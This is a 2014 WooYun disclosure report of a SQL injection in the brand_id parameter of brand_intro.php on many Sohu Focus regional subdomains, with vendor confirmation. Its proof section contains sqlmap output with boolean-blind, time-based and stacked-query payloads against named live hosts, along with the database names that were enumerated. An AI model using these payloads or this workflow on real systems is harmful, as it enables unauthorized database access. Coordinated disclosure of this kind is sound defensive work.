当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-068263

漏洞标题：搜狐焦点某影响所有分站的注入漏洞

相关厂商：搜狐

漏洞作者： 路人甲

提交时间：2014-07-12 22:11

修复时间：2014-08-26 22:12

公开时间：2014-08-26 22:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-12： 细节已通知厂商并且等待厂商处理中
2014-07-13： 厂商已经确认，细节仅向厂商公开
2014-07-23： 细节向核心白帽子及相关领域专家公开
2014-08-02： 细节向普通白帽子公开
2014-08-12： 细节向实习白帽子公开
2014-08-26： 细节向公众公开

简要描述：

世界杯决赛德国3:0

详细说明：

具体参数是：brand_intro.php
google一下发现

gz.focus.cn/vote/brand_intro.php?brand_id=46
house.focus.cn/vote/brand_intro.php?brand_id=67
dl.focus.cn/vote/brand_intro.php?brand_id=
house.focus.cn/vote/brand_intro.php?brand_id=3
bjmsg.focus.cn/vote/brand_intro.php?brand_id=
hz.focus.cn/vote/brand_intro.php?brand_id=19
qhd.focus.cn/vote/brand_intro.php?brand_id=
sh.focus.cn/vote/brand_intro.php?brand_id=50
dg.focus.cn/vote/brand_intro.php?brand_id=97
office.focus.cn/vote/brand_intro.php?brand_id=
.
..
...
....
.....

漏洞证明：

gz.focus.cn/vote/brand_intro.php?brand_id=46

[14:42:49] [INFO] fetched random HTTP User-Agent header from file 'C:\Users\ZX\S
qlmap\txt\user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.
2.3) Gecko/20121221 Firefox/3.6.8
[14:42:50] [INFO] resuming back-end DBMS 'mysql'
[14:42:50] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: brand_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: brand_id=34' AND 4309=4309 AND 'hKAW'='hKAW
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: brand_id=34' AND SLEEP(5) AND 'iACN'='iACN
---
[14:42:51] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[14:42:51] [INFO] fetching current database
[14:42:51] [INFO] resumed: hjuhe
current database:    'hjuhe'
[14:42:51] [INFO] fetching database names
[14:42:51] [INFO] fetching number of databases
[14:42:51] [INFO] resumed: 7
[14:42:51] [INFO] resumed: information_schema
[14:42:51] [INFO] resumed: cirea
[14:42:51] [INFO] resumed: house
[14:42:51] [INFO] resumed: mysql
[14:42:51] [INFO] resumed: mysql_identity
[14:42:51] [INFO] resumed: realestatehouse
[14:42:51] [INFO] resumed: sohuhouse
available databases [7]:
[*] cirea
[*] house
[*] information_schema
[*] mysql
[*] mysql_identity
[*] realestatehouse
[*] sohuhouse


--------------------------------------------------------------
http://dg.focus.cn/vote/brand_intro.php?brand_id=34

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: brand_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: brand_id=34' AND 9132=9132 AND 'Nzqf'='Nzqf
---
[14:43:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
[14:43:41] [INFO] fetching current database
[14:43:41] [INFO] resumed: house
current database:    'house'


sh.focus.cn/vote/brand_intro.php?brand_id=50

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: brand_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: brand_id=50' AND 4282=4282 AND 'XOcu'='XOcu
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: brand_id=50'; SELECT SLEEP(5)--
---
[14:47:39] [INFO] testing MySQL
[14:47:39] [INFO] confirming MySQL
[14:47:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[14:47:39] [INFO] fetching current database
[14:47:39] [INFO] resumed: house
current database:    'house'
[14:47:39] [INFO] fetching database names
[14:47:39] [INFO] fetching number of databases
[14:47:39] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:47:39] [INFO] retrieved:
sqlmap got a 302 redirect to 'http://www.focus.cn'. Do you want to follow? [Y/n]
 n
[14:47:41] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...........................
[14:48:17] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[14:48:17] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[14:48:17] [ERROR] unable to retrieve the number of databases
[14:48:17] [INFO] falling back to current database
[14:48:17] [INFO] fetching current database
available databases [1]:
[*] house


qhd.focus.cn/vote/brand_intro.php?brand_id=

Place: GET
Parameter: brand_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: brand_id=14' AND 1931=1931 AND 'fYke'='fYke
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: brand_id=14'; SELECT SLEEP(5)--
---
[14:53:12] [INFO] testing MySQL
[14:53:12] [INFO] confirming MySQL
[14:53:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[14:53:12] [INFO] fetching current database
[14:53:12] [INFO] resumed: ?luqe
current database:    '?luqe'


修复方案：

过滤参数

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-07-13 00:37

厂商回复：

感谢支持。

最新状态：

暂无